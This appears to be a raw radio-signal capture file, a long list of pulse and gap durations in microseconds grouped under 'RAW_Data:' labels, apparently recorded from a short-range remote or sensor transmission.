-3194 3393 -3002 3401 -2996 3401 -3002 3393 -3002 3395 -1396 1797 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -3002 1795 -1394 1797 -1400 1801 -1402 3401 -3002 3401 -1398 1791 -3004 3405 -1396 1793 -1398 1799 -1402 1801 -3002 1799 -1398 3397 -1402 1799 -2994 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1400 3401 -2998 1805 -1396 1791 -1394 3399 -3002 1801 -1400 3401 -3002 4219 -3452 1989 -2654 3675 -2776 3467 -2882 3487 -3110 3319 -2932 3561 -2974 3381 -2992 3393 -2998 3393 -2996 3393 -3002 3401 -3002 3395 -3002 3393 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -3002 1795 -1398 1801 -1402 1799 -1402 3401 -2994 3403 -1400 1795 -2992 3401 -1402 1799 -1402 1801 -1400 1795 -2992 1801 -1396 3397 -1402 1801 -1400 1801 -3002 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1597 -1592 1797 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 -RAW_Data: 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 3401 -2998 1805 -1400 1797 -1394 3397 -3002 1801 -1396 3399 -1400 1801 -7622 2021 -2904 3499 -2872 3443 -3018 3413 -3006 3411 -3006 3397 -3006 3393 -2994 3403 -2994 3401 -3002 3395 -3002 3393 -3002 3401 -2994 3403 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -2998 1605 -1596 1791 -1394 1797 -1402 3401 -3002 3401 -1402 1799 -3004 3393 -1396 1797 -1402 1799 -1402 1801 -2994 3401 -3002 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 3397 -3002 1801 -1396 1797 -1400 3403 -3002 3393 -3002 1801 -1396 4405 -3580 2203 -2680 3433 -3018 3415 -3006 3401 -3002 3401 -3002 3395 -3002 3393 -3002 3401 -2996 3401 -2994 3401 -3002 3203 -3194 3399 -3004 3393 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -3002 1795 -1394 1797 -1400 1801 -1400 3403 -2998 3205 -1598 1791 -2998 3403 -1400 1801 -1396 1793 -1398 1799 -3002 3403 -3006 1599 -1592 3401 -3004 1597 -1594 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 3391 -3002 1799 -1402 1801 -1400 3401 -2996 3401 -2994 3401 -7234 3089 -2524 3707 -2718 3733 -2896 3467 -2840 3421 -3020 3405 -3002 3401 -3002 3403 -3002 3393 -3002 3407 -2998 3393 -3002 3399 -2996 3399 -1404 1795 -1394 1793 -1398 1799 -1402 1801 -1400 1801 -3002 1801 -1400 1795 -1394 1793 -1398 3401 -3002 3401 -1402 1799 -3004 3401 -1396 1793 -1398 1799 -1402 1799 -3004 3401 -2994 3401 -2998 1805 -1398 -RAW_Data: 1791 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1595 -1594 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1400 3401 -3006 1599 -1594 1791 -1398 3403 -3002 3401 -1398 1791 -2998 4003 -4646 1945 -2714 3615 -2814 3409 -3002 3407 -3004 3395 -3006 3397 -2994 3395 -3002 3401 -3002 3393 -3004 3401 -2994 3393 -3002 3403 -2994 3401 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -3002 1795 -1398 1801 -1402 1799 -1402 3401 -2994 3395 -1400 1801 -3002 3393 -1402 1795 -1398 1801 -1400 1801 -2990 3401 -3002 3403 -1400 1801 -3002 1597 -1592 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 3401 -3002 1801 -1396 1797 -1402 3401 -3002 3393 -1398 1797 -1400 1801 -7714 15297 -1990 4001 -2594 3603 -2994 3401 -3002 3393 -3004 3393 -3002 3401 -3002 3395 -3002 3393 -2994 3407 -3006 3393 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -2998 1801 -1396 1797 -1402 1799 -1402 3401 -2994 3401 -1402 1795 -3000 3401 -1402 1795 -1398 1799 -1398 1797 -3002 3401 -1402 1799 -2994 1801 -1402 1799 -1402 1595 -1594 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 -RAW_Data: 1795 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 3401 -3002 1801 -1396 1797 -1402 3401 -1396 1797 -3002 1801 -1400 1801 -1398 3389 -4226 1665 -3024 3337 -3164 3373 -2986 3387 -2994 3393 -3002 3395 -3002 3407 -2996 3395 -2994 3401 -3002 3393 -2996 3401 -3002 3401 -2998 3399 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -2994 1799 -1398 1797 -1400 1801 -1400 3407 -3006 3193 -1598 1791 -3000 3401 -1396 1797 -1402 1799 -1402 1799 -3002 3395 -1396 1797 -3002 3401 -2996 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1597 -1592 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 3403 -2998 1603 -1598 1791 -1394 3399 -1400 1801 -3002 1801 -1400 3401 -7946 8393 -2610 3601 -3002 3403 -3002 3401 -3002 3393 -3004 3401 -3002 3393 -2994 3407 -3006 3393 -2994 3401 -2996 3401 -2994 3401 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -3002 1801 -1398 1791 -1394 1797 -1400 3407 -3006 3401 -1396 1793 -2998 3407 -1404 1795 -1394 1797 -1400 1801 -3002 3403 -1396 1791 -1394 1797 -3002 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 3401 -3004 1595 -1594 1795 -1402 3401 -1402 1799 -3004 3393 -3002 4001 -3612 15189 -2202 3801 -2602 3601 -3004 3401 -3002 3401 -2994 3403 -2994 3407 -2996 3399 -3010 3397 -2990 3393 -3004 3393 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -3002 1801 -1396 1791 -1398 1801 -1402 3401 -3002 3401 -1402 1795 -2992 3401 -1400 1801 -1402 1799 -1402 1795 -2992 3401 -1402 1799 -1402 1799 -1398 1791 -3000 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 -RAW_Data: 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 3401 -3006 1601 -1596 1791 -1398 3403 -1400 1801 -3002 3393 -1402 1801 -4208 1657 -1960 1633 -3076 3349 -3166 3183 -3186 3189 -3194 3395 -3002 3401 -2994 3403 -2994 3401 -3002 3399 -3004 3395 -3002 3393 -2994 3403 -3002 3201 -1598 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1793 -2998 1801 -1400 1801 -1402 1799 -1402 3401 -2994 3403 -1396 1791 -3000 3401 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -3002 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1597 -1592 1797 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 3395 -3004 1601 -1596 1793 -1398 3401 -1400 1801 -1402 1799 -3002 1797 -1394 3797 -4466 8859 -2000 3797 -2810 3401 -3002 3401 -3002 3403 -3002 3393 -2994 3403 -3002 3401 -3002 3393 -3002 3407 -2998 3399 -2996 3395 -1396 1797 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -3002 1799 -1402 1801 -1396 1797 -1400 3403 -2998 3205 -1598 1791 -3000 3401 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -3002 1799 -1398 1791 -1398 3401 -3004 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 3403 -2994 1799 -1402 1795 -1394 -RAW_Data: 3399 -1400 1801 -1400 1801 -3002 3205 -4194 389 -3580 1837 -3274 3173 -3082 3345 -3118 3293 -3118 3317 -3142 3163 -3174 3183 -3190 3393 -2996 3401 -2994 3401 -3002 3395 -3002 3205 -3198 3393 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -2992 1799 -1402 1801 -1400 1801 -1400 3403 -2994 3401 -1400 1801 -3002 3395 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -3004 1799 -1398 3389 -3002 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1595 -1594 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 3401 -3004 1799 -1402 1795 -1398 3401 -1398 1797 -1400 1801 -1400 1801 -2994 4407 -3396 2177 -2946 3427 -3018 3407 -3004 3407 -3006 3389 -3002 3393 -3004 3393 -3002 3401 -2994 3403 -3002 3393 -3002 3395 -3002 3393 -3002 3393 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -2996 1799 -1402 1795 -1398 1801 -1400 3407 -3004 3395 -1396 1793 -2998 3407 -1400 1791 -1394 1797 -1400 1801 -1402 1799 -3002 1801 -1402 3401 -1396 1793 -2998 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 3401 -3004 1799 -1402 1795 -1394 3397 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -7678 1989 -2426 3963 -2528 3683 -2904 3519 -2930 3347 -3168 3373 -2988 3389 -2994 3401 -2996 3401 -2994 3401 -3002 3395 -3002 3401 -2994 3401 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -3002 1799 -1402 1801 -1396 1797 -1400 3403 -3002 3393 -1400 1801 -2994 3403 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -2992 3401 -3002 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 -RAW_Data: 1797 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1599 -1598 1791 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1601 -1598 1791 -1398 1799 -1402 1801 -1396 3397 -3004 1799 -1402 3401 -2994 1801 -1400 1601 -1598 1791 -1398 1801 -1400 3401 -4800 1839 -2646 3737 -2764 3573 -2988 3385 -2994 3395 -3002 3393 -3002 3401 -2994 3403 -3002 3393 -2994 3407 -3006 3393 -2994 3401 -3004 3393 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1400 1801 -1402 3405 -3006 3389 -1398 1797 -3002 3405 -1402 1789 -1392 1797 -1400 1801 -1400 1801 -3002 3401 -3002 3395 -3002 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1795 -1398 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 3401 -2994 1801 -1400 3403 -3002 1595 -1594 1797 -1400 1801 -1400 3403 -7764 1463 -3208 3319 -2936 3563 -2976 3385 -2986 3391 -2994 3401 -2994 3401 -2996 3401 -3002 3401 -2994 3403 -2994 3401 -3002 3395 -3002 3401 -1396 1793 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -3002 1801 -1396 1797 -1402 1799 -1402 3405 -2998 3399 -1404 1597 -3190 3401 -1402 1795 -1398 1801 -1400 1795 -1394 1797 -3002 3401 -1402 1801 -2994 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 3401 -3002 1801 -1396 3391 -3002 1799 -1402 1801 -1400 3401 -2996 3401 -1706 -RAW_Data: 219 -2872 1657 -2822 3519 -2942 3559 -2974 3385 -2992 3389 -3002 3401 -2994 3403 -2994 3407 -2996 3395 -3002 3393 -3002 3393 -3004 3401 -2994 3401 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -3000 1803 -1398 1791 -1398 1801 -1400 3401 -3004 3393 -1400 1801 -2994 3401 -1398 1797 -1400 1801 -1396 1797 -1402 1799 -3002 3403 -1400 1597 -1592 1797 -3002 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 3401 -2994 1801 -1402 3401 -2994 1801 -1400 1795 -1396 3397 -1400 1801 -7342 2387 -2176 3817 -2614 3601 -3002 3403 -3002 3401 -3002 3401 -2996 3405 -2998 3393 -3002 3395 -3002 3393 -3002 3407 -2998 3401 -2994 3393 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -3004 1799 -1402 1795 -1394 1797 -1400 3403 -3002 3401 -1400 1597 -3190 3403 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -3000 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 3401 -3004 1799 -1398 3389 -3002 1801 -1400 3395 -3002 1799 -1402 3593 -4558 1793 -2438 3923 -2740 3563 -2976 3385 -2990 3395 -2994 3401 -2994 3403 -2994 3401 -2994 3401 -3004 3401 -2994 3401 -2994 3407 -2998 3393 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -2994 1801 -1402 1799 -1402 1799 -1398 3389 -3002 3403 -1400 1801 -3002 3401 -1398 1791 -1398 1801 -1396 1797 -1400 1801 -1402 1799 -3002 1801 -1398 3397 -3002 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 -RAW_Data: 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1597 -1592 1797 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 3401 -2994 1801 -1400 3403 -3002 1595 -1594 3397 -3002 3395 -7924 1529 -3076 3409 -3002 3403 -3002 3401 -3002 3401 -2996 3393 -3002 3401 -2994 3407 -2998 3393 -3002 3401 -2996 3401 -2994 3401 -3002 3399 -1404 1795 -1394 1793 -1398 1799 -1402 1801 -1396 1797 -3002 1801 -1400 1801 -1400 1801 -1402 3397 -3010 3197 -1598 1791 -2992 3401 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -3002 3401 -3000 1603 -1598 1791 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1597 -1592 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 3397 -3002 1801 -1400 3401 -2996 1799 -1402 3407 -1400 1591 -3192 3601 -4992 1735 -2952 3401 -3006 3401 -3002 3403 -3002 3401 -2998 3397 -2996 3405 -2998 3399 -3004 3195 -3194 3401 -2994 3403 -2994 3405 -3006 3193 -1598 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -3000 1799 -1402 1799 -1402 1801 -1400 3395 -3002 